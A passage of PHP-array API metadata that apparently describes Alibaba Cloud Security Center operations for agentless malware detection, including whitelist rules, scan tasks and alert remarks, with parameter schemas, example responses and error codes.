'A4EB8B1C-1DEC-5E18-BCD0-XXXXXXXXX', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'UnknownError', 'errorMessage' => 'UnknownError', ], [ 'errorCode' => 'DuplicateRule', 'errorMessage' => 'Duplicated rule, please check whether the same rule already exists.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-XXXXXXXXX\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'UpdateMaliciousFileWhitelistConfig', ], 'BatchUpdateMaliciousFileWhitelistConfig' => [ 'summary' => 'Modifies multiple alert whitelist rules of sensitive files that are detected by using the agentless detection feature at a time.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '184624', 'abilityTreeNodes' => [ 'FEATUREsasNB8R24', ], ], 'parameters' => [ [ 'name' => 'ConfigList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The whitelist rules.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'ConfigId' => [ 'title' => '规则id，可选，不传则新增', 'description' => 'The ID of the whitelist rule. If you do not specify this parameter, a whitelist rule is created.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1', ], 'EventName' => [ 'title' => '告警名称， ALL-全部告警', 'description' => 'The name of the alert.'."\n" ."\n" .'* Set the value to **ALL**, which indicates all alert types.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ALL', ], 'Field' => [ 'title' => '字段', 'description' => 'The field that you want to use in the whitelist rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'fileMd5', ], 'Operator' => [ 'title' => '操作符', 'description' => 'The logical operator that you want to use in the whitelist rule.'."\n" ."\n" .'* Set the value to strEqual, which indicates the equality operator (=).'."\n", 'type' => 'string', 'required' => false, 'example' => 'strEqual', ], 'FieldValue' => [ 'title' => '值', 'description' => 'The value of the field that you want to use in the whitelist rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'b2cf9747ee49d8d9b105cf16e078cc16', ], 'TargetType' => [ 'title' => '生效目标类型，ALL-全部资产，SELECTION_KEY 选中的资产', 'description' => 'The type of the assets on which you want the whitelist rule to take effect. Valid values:'."\n" ."\n" .'* ALL: all assets'."\n" .'* SELECTION_KEY: selected assets'."\n", 'type' => 'string', 'required' => false, 'example' => 'ALL', ], 'TargetValue' => [ 'title' => '生效目标值', 'description' => 'The assets on which you want the whitelist rule to take effect. Valid values:'."\n" ."\n" .'* ALL: all assets'."\n" .'* Others: selected assets'."\n", 'type' => 'string', 'required' => false, 'example' => 'ALL', ], 'Source' => [ 'title' => '文件来源', 'description' => 'The feature to which this operation belongs.'."\n" ."\n" .'* Set the value to agentless, which indicates the agentless detection feature.'."\n", 'type' => 'string', 'required' => false, 'example' => 'agentless', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'BaseResult'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'UnknownError', 'errorMessage' => 'UnknownError', ], [ 'errorCode' => 'DuplicateRule', 'errorMessage' => 'Duplicated rule, please check whether the same rule already exists.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'BatchUpdateMaliciousFileWhitelistConfig', ], 'CreateMaliciousFileWhitelistConfig' => [ 'summary' => 'Get alert whitelist configuration details', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasON13NY', ], ], 'parameters' => [ [ 'name' => 'EventName', 'in' => 'query', 'schema' => [ 'title' => '告警名称， ALL-全部告警', 'description' => 'Alert name:'."\n" .'- ALL: All alerts', 'type' => 'string', 'required' => false, 'example' => 'ALL', ], ], [ 'name' => 'Field', 'in' => 'query', 'schema' => [ 'title' => '字段', 'description' => 'Field used for whitelist in sensitive file alerts.', 'type' => 'string', 'required' => false, 'example' => 'fileMd5', ], ], [ 'name' => 'Operator', 'in' => 'query', 'schema' => [ 'title' => '操作符', 'description' => 'Rule judgment operator:'."\n" .'- strEqual: String equals', 'type' => 'string', 'required' => false, 'example' => 'strEqual', ], ], [ 'name' => 'FieldValue', 'in' => 'query', 'schema' => [ 'title' => '值', 'description' => 'Expected value of the field to be whitelisted.', 'type' => 'string', 'required' => false, 'example' => 'b2cf9747ee49d8d9b105cf16e078cc16', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'title' => '生效目标类型，ALL-全部资产，SELECTION_KEY 选中的资产', 'description' => 'Effective target type:'."\n" .'- ALL: All assets'."\n" .'- SELECTION_KEY: Assets selected via the asset selection component', 'type' => 'string', 'required' => false, 'example' => 'ALL', ], ], [ 'name' => 'TargetValue', 'in' => 'query', 'schema' => [ 'title' => '生效目标值', 'description' => 'Target effective scope:'."\n" .'- ALL: All assets'."\n" .'- Other: Key of the asset range selected by the asset selection component', 'type' => 'string', 'required' => false, 'example' => 'ALL', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'title' => '文件来源', 'description' => 'Business source:'."\n" .'- agentless: Agentless detection', 'type' => 'string', 'required' => false, 'example' => 'agentless', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'title' => '备注。', 'description' => 'Remarks.', 'type' => 'string', 'required' => false, 'example' => 'whitelist', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult', 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'Returned data.', 'type' => 'object', 'properties' => [ 'GmtCreate' => [ 'title' => '创建时间', 'description' => 'Creation time.', 'type' => 'string', 'example' => '1671607025000', ], 'GmtModified' => [ 'title' => '修改时间', 'description' => 'Modification time.', 'type' => 'string', 'example' => '1671607025000', ], 'EventName' => [ 'title' => '告警名称', 'description' => 'Alert name:'."\n" .'- ALL: All alert types', 'type' => 'string', 'example' => 'ALL', ], 'Field' => [ 'title' => '加白字段', 'description' => 'Whitelisted field.', 'type' => 'string', 'example' => 'fileMd5', ], 'FieldValue' => [ 'title' => '加白字段值', 'description' => 'Whitelisted field value.', 'type' => 'string', 'example' => 'b2cf9747ee49d8d9b105cf16e078cc16', ], 'Operator' => [ 'title' => '判定操作符', 'description' => 'Rule judgment operator:'."\n" .'- strEqual: String equals', 'type' => 'string', 'example' => 'strEqual', ], 'TargetValue' => [ 'title' => '加白范围，资产选择key', 'description' => 'Target effective scope:'."\n" .'- ALL: All assets'."\n" .'- Other: Key of the asset range selected by the asset selection component', 'type' => 'string', 'example' => 'ALL', ], 'TargetType' => [ 'title' => '范围类型, ALL-全部资产 SELECTION_KEY- 资产选择key', 'description' => 'Effective target type:'."\n" .'- ALL: All assets'."\n" .'- SELECTION_KEY: Assets selected via the asset selection component', 'type' => 'string', 'example' => 'ALL', ], 'Count' => [ 'title' => 'target type 为 SELECTION_KEY 的情况下，此字段有值', 'description' => 'Number of effective assets.'."\n" .'> This field has a value when targetType is SELECTION_KEY', 'type' => 'string', 'example' => '1', ], 'Source' => [ 'title' => '告警来源', 'description' => 'Business source:'."\n" .'- agentless: Agentless detection', 'type' => 'string', 'example' => 'agentless', ], 'Id' => [ 'description' => 'Rule ID.', 'type' => 'string', 'example' => '1', ], ], ], 'Success' => [ 'description' => 'Whether the API call was successful. Values:'."\n" .'- **true**: Success'."\n" .'- **false**: Failure', 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'API status code.', 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'Prompt message for the returned result.', 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of this request, which is a unique identifier generated by Alibaba Cloud for the request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-XXXXXXXXX', ], 'HttpStatusCode' => [ 'description' => 'HTTP status code.', 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'UnknownError', 'errorMessage' => 'UnknownError', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"GmtCreate\\": \\"1671607025000\\",\\n \\"GmtModified\\": \\"1671607025000\\",\\n \\"EventName\\": \\"ALL\\",\\n \\"Field\\": \\"fileMd5\\",\\n \\"FieldValue\\": \\"b2cf9747ee49d8d9b105cf16e078cc16\\",\\n \\"Operator\\": \\"strEqual\\",\\n \\"TargetValue\\": \\"ALL\\",\\n \\"TargetType\\": \\"ALL\\",\\n \\"Count\\": \\"1\\",\\n \\"Source\\": \\"agentless\\",\\n \\"Id\\": \\"1\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-XXXXXXXXX\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'Create Sensitive File Alert Whitelist Rule of Agentless Detection', 'translator' => 'machine', ], 'GetMaliciousFileWhitelistConfig' => [ 'summary' => 'Queries an alert whitelist rule of sensitive files that are detected by using the agentless detection feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '184426', 'abilityTreeNodes' => [ 'FEATUREsas731ZAS', ], ], 'parameters' => [ [ 'name' => 'ConfigId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the whitelist rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'GmtCreate' => [ 'title' => '创建时间', 'description' => 'The creation time.'."\n", 'type' => 'string', 'example' => '1671607025000', ], 'GmtModified' => [ 'title' => '修改时间', 'description' => 'The modification time.'."\n", 'type' => 'string', 'example' => '1674095396000', ], 'EventName' => [ 'title' => '告警名称', 'description' => 'The name of the alert.'."\n" ."\n" .'* The value is fixed as ALL, which indicates all alert types.'."\n", 'type' => 'string', 'example' => 'ALL', ], 'Field' => [ 'title' => '加白字段', 'description' => 'The field that is used in the whitelist rule.'."\n", 'type' => 'string', 'example' => 'fileMd5', ], 'FieldValue' => [ 'title' => '加白字段值', 'description' => 'The value of the field that is used in the whitelist rule.'."\n", 'type' => 'string', 'example' => 'b2cf9747ee49d8d9b105cf16e078cc16', ], 'Operator' => [ 'title' => '判定操作符', 'description' => 'The logical operator that is used in the whitelist rule.'."\n" ."\n" .'* The value is fixed as strEqual, which indicates the equality operator (=).'."\n", 'type' => 'string', 'example' => 'strEqual', ], 'TargetValue' => [ 'title' => '加白范围，资产选择key', 'description' => 'The assets on which the whitelist rule takes effect. Valid values:'."\n" ."\n" .'* ALL: all assets'."\n" .'* Others: selected assets'."\n", 'type' => 'string', 'example' => 'ALL', ], 'TargetType' => [ 'title' => '范围类型, ALL-全部资产 SELECTION_KEY- 资产选择key', 'description' => 'The type of the assets on which the whitelist rule takes effect. Valid values:'."\n" ."\n" .'* ALL: all assets'."\n" .'* SELECTION_KEY: selected assets'."\n", 'type' => 'string', 'example' => 'ALL', ], 'Count' => [ 'title' => 'target type 为 SELECTION_KEY 的情况下，此字段有值', 'description' => 'The number of assets on which the whitelist rule takes effect.'."\n" ."\n" .'> The value of this parameter is returned only if the value of TargetType is SELECTION_KEY.'."\n", 'type' => 'string', 'example' => '0', ], 'Source' => [ 'title' => '告警来源', 'description' => 'The feature to which this operation belongs.'."\n" ."\n" .'* The value is fixed as agentless, which indicates the agentless detection feature.'."\n", 'type' => 'string', 'example' => 'agentless', ], 'Id' => [ 'description' => 'The ID of the whitelist rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code. The value 200 indicates that the request was successful.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'UnknownError', 'errorMessage' => 'UnknownError', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"GmtCreate\\": \\"1671607025000\\",\\n \\"GmtModified\\": \\"1674095396000\\",\\n \\"EventName\\": \\"ALL\\",\\n \\"Field\\": \\"fileMd5\\",\\n \\"FieldValue\\": \\"b2cf9747ee49d8d9b105cf16e078cc16\\",\\n \\"Operator\\": \\"strEqual\\",\\n \\"TargetValue\\": \\"ALL\\",\\n \\"TargetType\\": \\"ALL\\",\\n \\"Count\\": \\"0\\",\\n \\"Source\\": \\"agentless\\",\\n \\"Id\\": 1\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'GetMaliciousFileWhitelistConfig', ], 'ListMaliciousFileWhitelistConfigs' => [ 'summary' => 'Queries the alert whitelist rules of sensitive files that are detected by using the agentless detection feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '184430', 'abilityTreeNodes' => [ 'FEATUREsasNB8R24', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'title' => '文件来源，默认为 agentless', 'description' => 'The feature to which this operation belongs. If you leave this parameter empty, the default value agentless is used.'."\n", 'type' => 'string', 'required' => false, 'example' => 'agentless', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Pages start from page 1. Default value: 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 20.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'EventName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the alert.'."\n" ."\n" .'* Set the value to ALL, which indicates all alert types.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ALL', ], ], [ 'name' => 'IdList', 'in' => 'query', 'schema' => [ 'description' => 'Event ID. Field is deprecated.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '123', 'deprecated' => true, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PageResult', 'description' => 'PageResult'."\n", 'type' => 'object', 'properties' => [ 'List' => [ 'description' => 'The alert whitelist rules of sensitive files that are detected by using the agentless detection feature.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'GmtCreate' => [ 'title' => '创建时间', 'description' => 'The time when the rule was created.'."\n", 'type' => 'string', 'example' => '1691719662000', ], 'GmtModified' => [ 'title' => '修改时间', 'description' => 'The time when the rule was modified.'."\n", 'type' => 'string', 'example' => '1691719662000', ], 'EventName' => [ 'title' => '告警名称', 'description' => 'The name of the alert.'."\n" ."\n" .'* The value is fixed as ALL, which indicates all alert types.'."\n", 'type' => 'string', 'example' => 'ALL', ], 'Field' => [ 'title' => '加白字段', 'description' => 'The field that is used in the whitelist rule.'."\n", 'type' => 'string', 'example' => 'fileMd5', ], 'FieldValue' => [ 'title' => '加白字段值', 'description' => 'The value of the field that is used in the whitelist rule.'."\n", 'type' => 'string', 'example' => 'b2cf9747ee49d8d9b105cf16e078cc16', ], 'Operator' => [ 'title' => '判定操作符', 'description' => 'The logical operator of the whitelist rule.'."\n" ."\n" .'* The value is fixed as strEqual, which indicates the equality operator (=).'."\n", 'type' => 'string', 'example' => 'strEqual', ], 'TargetValue' => [ 'title' => '加白范围，资产选择key', 'description' => 'The assets on which the rule takes effect. Valid values:'."\n" ."\n" .'* ALL: all assets'."\n" .'* Others: selected assets'."\n", 'type' => 'string', 'example' => 'ALL', ], 'TargetType' => [ 'title' => '范围类型, ALL-全部资产 SELECTION_KEY- 资产选择key', 'description' => 'The type of the assets on which the rule takes effect. Valid values:'."\n" ."\n" .'* ALL: all assets'."\n" .'* SELECTION_KEY: selected assets'."\n", 'type' => 'string', 'example' => 'ALL', ], 'Count' => [ 'title' => 'target type 为 SELECTION_KEY 的情况下，此字段有值', 'description' => 'The number of the assets on which the rule takes effect.'."\n" ."\n" .'> The value of this parameter is returned only if the value of TargetType is SELECTION_KEY.'."\n", 'type' => 'string', 'example' => 'ALL', ], 'Source' => [ 'title' => '告警来源', 'description' => 'The feature to which this operation belongs.'."\n" ."\n" .'* The value is fixed as agentless, which indicates the agentless detection feature.'."\n", 'type' => 'string', 'example' => 'agentless', ], 'Id' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'Remark' => [ 'title' => '备注。', 'description' => 'Remark', 'type' => 'string', 'example' => 'test', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '29', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '9', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F5CF78A7-30AA-59DB-847F-13EE3AE7****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'UnknownError', 'errorMessage' => 'UnknownError', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"GmtCreate\\": \\"1691719662000\\",\\n \\"GmtModified\\": \\"1691719662000\\",\\n \\"EventName\\": \\"ALL\\",\\n \\"Field\\": \\"fileMd5\\",\\n \\"FieldValue\\": \\"b2cf9747ee49d8d9b105cf16e078cc16\\",\\n \\"Operator\\": \\"strEqual\\",\\n \\"TargetValue\\": \\"ALL\\",\\n \\"TargetType\\": \\"ALL\\",\\n \\"Count\\": \\"ALL\\",\\n \\"Source\\": \\"agentless\\",\\n \\"Id\\": 1,\\n \\"Remark\\": \\"test\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 29,\\n \\"Count\\": 9\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"F5CF78A7-30AA-59DB-847F-13EE3AE7****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'ListMaliciousFileWhitelistConfigs', 'translator' => 'machine', ], 'CreateAgentlessScanTask' => [ 'summary' => 'Creates an agentless detection task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '155384', 'abilityTreeNodes' => [ 'FEATUREsasON13NY', ], ], 'parameters' => [ [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the detection object. Valid values:'."\n" ."\n" .'* **2**: image'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '2', ], ], [ 'name' => 'UuidList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The UUIDs of the assets on which you want to run the detection task.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the asset on which you want to run the detection task.'."\n", 'type' => 'string', 'required' => false, 'example' => '66a9c708-d4a4-4feb-aa00-61006556****', ], 'required' => false, 'maxItems' => 1000, ], ], [ 'name' => 'AutoDeleteDays', 'in' => 'query', 'schema' => [ 'description' => 'The retention period of images. Unit: days.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'ScanDataDisk', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to check data disks. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'ReleaseAfterScan', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to enable the cost-saving mode. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'AssetSelectionType', 'in' => 'query', 'schema' => [ 'description' => 'Identification of asset selection.', 'type' => 'string', 'required' => false, 'example' => 'AGENTLESS_SCAN_ONCE_TASK_1720145******', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'E90DE229-9FC6-58F6-BF4B-03AD6179****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'TaskIsProcessing', 'errorMessage' => 'Task Is Processing.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"E90DE229-9FC6-58F6-BF4B-03AD6179****\\"\\n}","type":"json"}]', 'title' => 'CreateAgentlessScanTask', ], 'DeleteMaliciousNote' => [ 'summary' => 'Removes the remarks added to alert events that are generated by the agentless detection feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'delete', 'abilityTreeCode' => '164850', 'abilityTreeNodes' => [ 'FEATUREsasON13NY', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'NoteId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the remarks.'."\n" ."\n" .'> You can call the [ListAgentlessMaliciousFiles](~~ListAgentlessMaliciousFiles~~) operation to obtain the ID from the NoteId parameter.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53CXXXXX', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53CXXXXX\\"\\n}","type":"json"}]', 'title' => 'DeleteMaliciousNote', ], 'CreateMaliciousNote' => [ 'summary' => 'Adds remarks to alert events for agentless detection.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Note', 'in' => 'query', 'allowEmptyValue' => false, 'schema' => [ 'description' => 'The remarks that you want to add.'."\n", 'type' => 'string', 'required' => true, 'example' => 'Ignore', ], ], [ 'name' => 'EventId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the alert event to which you want to add remarks.'."\n" ."\n" .'> You can call the [ListAgentlessMaliciousFiles](~~ListAgentlessMaliciousFiles~~) operation to obtain the ID of the alert event from the NoteId parameter.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '80****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\"\\n}","type":"json"}]', 'title' => 'CreateMaliciousNote', ], 'ListAgentlessMaliciousFiles' => [ 'summary' => 'Queries malicious files that are detected by agentless detection tasks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => 